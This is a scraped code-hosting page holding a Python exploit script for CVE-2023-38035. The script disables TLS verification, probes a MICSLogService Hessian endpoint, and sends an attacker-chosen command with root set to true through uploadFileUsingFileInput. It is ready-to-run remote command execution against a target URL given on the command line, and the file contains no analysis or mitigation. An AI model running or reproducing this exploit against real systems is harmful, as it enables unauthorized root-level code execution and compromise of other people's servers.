-
Notifications
You must be signed in to change notification settings - Fork 13
/
Copy pathCVE-2023-38035.py
52 lines (40 loc) · 1.5 KB
/
CVE-2023-38035.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pyhessian.client import HessianProxy
from http.client import HTTPSConnection
import ssl
import sys
import argparse
import requests
import urllib3
urllib3.disable_warnings()
# Backup original constructor
_original_https_init = HTTPSConnection.__init__
def patched_https_init(self, *args, **kwargs):
# If context is not provided, use unverified context
if 'context' not in kwargs:
kwargs['context'] = ssl._create_unverified_context()
_original_https_init(self, *args, **kwargs)
def exploit(base_url, command):
# Define the Hessian service endpoint
service_url = f"{base_url}/mics/services/MICSLogService"
r = requests.get(service_url, verify=False)
if r.status_code != 405:
print('[-] Vulnerable endpoint was not reachable - bailing')
sys.exit()
# Monkey-patch the constructor
HTTPSConnection.__init__ = patched_https_init
dto = {
"command": command,
"isRoot": True,
}
# Create a Hessian proxy for the service
proxy = HessianProxy(service_url)
# Call a method on the Hessian service:
details = proxy.uploadFileUsingFileInput(dto, None)
if details:
print('[+] Successfully executed command on target!')
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument('-u', '--url', help='The URL of the target', required=True)
parser.add_argument('-c', '--cmd', help='The command to run', required=True)
args = parser.parse_args()
exploit(args.url, args.cmd)